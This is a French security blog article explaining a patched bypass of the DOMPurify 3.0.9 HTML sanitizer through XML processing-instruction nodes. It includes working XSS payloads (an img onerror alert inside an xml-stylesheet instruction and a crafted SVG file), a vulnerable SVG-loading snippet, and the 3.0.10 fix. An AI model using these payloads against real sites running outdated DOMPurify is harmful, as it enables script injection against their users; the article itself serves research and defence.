Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Confusion HTML et XML
  • L'interface ProcessingInstruction
  • Assainissement d'un noeud
  • Correction
  • Labs
  1. Mes Articles
  2. 2024
  3. Mai

Dompurify 3.0.9 bypass - Node type confusion

03 mai 2024

PrécédentDompurify 3.0.10 bypass - Confusion nodeName and CDATASuivantAvril

Dernière mise à jour il y a 2 mois

Cet article se base sur les recherches de ().

Confusion HTML et XML

Au sein d'un document HTML, rien n'empêche un noeud XML d'avoir un noeud HTML en tant que parent. C'est par exemple le cas d'un SVG intégré au sein d'une page HTML :

<div id="userContent">
  <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
    <rect width="50" height="50" fill="green" />
  </svg>
</div>

L'image vectorielle s'affichant sans erreur au sein de la page.

L'interface ProcessingInstruction

L'interface ProcessingInstruction représente un noeud qui intègre une instruction de traitement spécifique à une application XML. Elle possède le format suivant :

<?target data?>

Par exemple :

<?xml-stylesheet href="style.css"?>

Lorsque Dompurify assainit une chaîne de caractères de type XML, et que l'option adéquate est :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<?xml-stylesheet <img src=x onerror=alert(1)>?>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'}); 

Les instructions de traitement (processing instructions) ne semblent pas être assainies par la bibliothèque. L'évenement onerror ainsi que l'appel à la méthode alert() ne sont pas supprimés :

<div id="userContent">
  <!--?xml-stylesheet <img src=x onerror=alert(1)-->
  "?>"
</div>

Malheureusement, le code est commenté par le navigateur, empêchant ainsi son exécution :

Toutefois, le navigateur commente le code jusqu'à rencontrer le prochain caractère >, il est donc possible d'exploiter ce comportemement de la façon suivante :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<?xml-stylesheet ><img src=x onerror=alert(1)>?>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'}); 

L'affichage de la page HTML provoque dorénavant l'exécution de la méthode alert() :

<div id="userContent">
  <!--?xml-stylesheet -->
  <img src="x" onerror="alert(1)">
  "?>"
</div>

Par défaut, Dompurify traite la chaîne de caractères comme du HTML, et non du XML, excepté si l'option {PARSER_MEDIA_TYPE: 'application/xhtml+xml'} est spécifée. De plus, il est assez rare d'identifier une cible imposant ce type de média et intégrant ensuite la donnée assainie au sein d'un document HTML.

Assainissement d'un noeud

La manière la plus fréquente d'utiliser la méthode sanitize() de Dompurify est de lui passer une chaîne de caractères en tant que paramètre :

DOMPurify.sanitize("<img src='https://example.com/image.png'>")

Mais bien que moins utilisé, il est également possible de lui passer directement un noeud :

let img = document.createElement('img');
img.src = "https://example.com/image.png";

let userContent= document.getElementById('userContent');            
userContent.innerHTML = DOMPurify.sanitize(img);

Toutefois, lorsque le noeud est un noeud XML, le même comportement que précédent est possible lors de l'utilisation des instructions de traitement.

L'exemple suivant illustre une fonctionnalité permettant à l'utilisateur de fournir une URL afin de charger un fichier SVG, qui sera assaini par Dompurify avant d'être intégré au document HTML :

let xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let content = xhr.responseText;
    let extension = xhr.responseURL.split('.').pop().toLowerCase();

    if (extension === "svg") {
      let svg = new DOMParser().parseFromString(content, "image/svg+xml").documentElement;
      let userContent= document.getElementById('userContent');
      userContent.innerHTML = DOMPurify.sanitize(svg);
    }
  }
}

xhr.open("GET", url, true);
xhr.send();

Lorsque l'utilisateur renseigne une URL vers un fichier SVG, tel que :

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
  <rect width="50" height="50" fill="green" />
  <?xml-stylesheet > <img src=x onerror="alert(1)">?>
</svg>

Dompurify échoue à assainir le noeud et permet l'exécution du code Javascript :

<div id="userContent"><svg viewBox="0 0 100 100" height="100" width="100" xmlns="http://www.w3.org/2000/svg">
  <rect fill="green" height="50" width="50"></rect>
  <!--?xml-stylesheet --> </svg><img src="x" onerror="alert(1)"> 
  "?>"
</div>

Correction

Le correctif, apporté par la version 3.0.10 de Dompurify, consiste à l'ajout du masque SHOW_PROCESSING_INSTRUCTION lors du traitement des noeuds XML. Cela permet de traiter les noeuds de type ProcessingInstruction :

const _createNodeIterator = function _createNodeIterator(root) {
  return createNodeIterator.call(root.ownerDocument || root, root,
  // eslint-disable-next-line no-bitwise
  NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION, null);
};

Labs

Cette constante est définit par l'API DOM et utilisée par la méthode createNodeIterator() ().

Afin de tester et d'exploiter ce contournement, une image Docker est disponible .

slonser_
https://blog.slonser.info/posts/dompurify-node-type-confusion/
https://developer.mozilla.org/en-US/docs/Web/API/Document/createNodeIterator
ici
https://developer.mozilla.org/en-US/docs/Web/API/ProcessingInstruction